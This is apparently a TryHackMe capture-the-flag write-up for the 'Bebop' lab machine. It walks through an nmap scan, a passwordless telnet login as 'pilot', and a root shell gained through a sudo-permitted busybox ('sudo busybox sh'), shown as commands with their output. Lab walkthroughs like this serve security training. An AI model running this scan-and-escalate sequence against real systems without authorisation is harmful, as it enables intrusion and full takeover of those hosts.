TryHackMe - Bebop
Description
Hello hackers, I hope you are doing well. We are doing Bebop from TryHackMe.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.63.34
Host is up (0.099s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey:
| 2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
| 256 d5:4e:18:45:ba:d4:75:2d:55:2f:fe:c9:1c:db:ce:cb (ECDSA)
|_ 256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open telnet BSD-derived telnetd
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
We found two open ports, 22/tcp running OpenSSH and 23/tcp running telnetd on FreeBSD OS.
Foothold
At the first task we were given codename pilot, so let’s try connecting to telnet using that name.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ telnet 10.10.63.34
Trying 10.10.63.34...
Connected to 10.10.63.34.
Escape character is '^]'.
login: pilot
Last login: Sun Dec 25 10:29:02 from ip-10-11-14-124.eu-west-1.compute.internal
FreeBSD 11.2-STABLE (GENERIC) #0 r345837: Thu Apr 4 02:07:22 UTC 2019
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
Need to quickly return to your home directory? Type "cd".
-- Dru <genesis@istar.ca>
[pilot@freebsd ~]$
Great! We got the initial shell.
Privilege Escalation
Let’s check out privileges with sudo -l
.
1
2
3
[pilot@freebsd ~]$ sudo -l
User pilot may run the following commands on freebsd:
(root) NOPASSWD: /usr/local/bin/busybox
We can run busybox
as root.
Checking busybox on GTFOBins, we see that we can run sudo busybox sh
and get root.
1
2
3
4
5
6
[pilot@freebsd ~]$ sudo busybox sh
# whoami
root
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Nice, we got root.
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).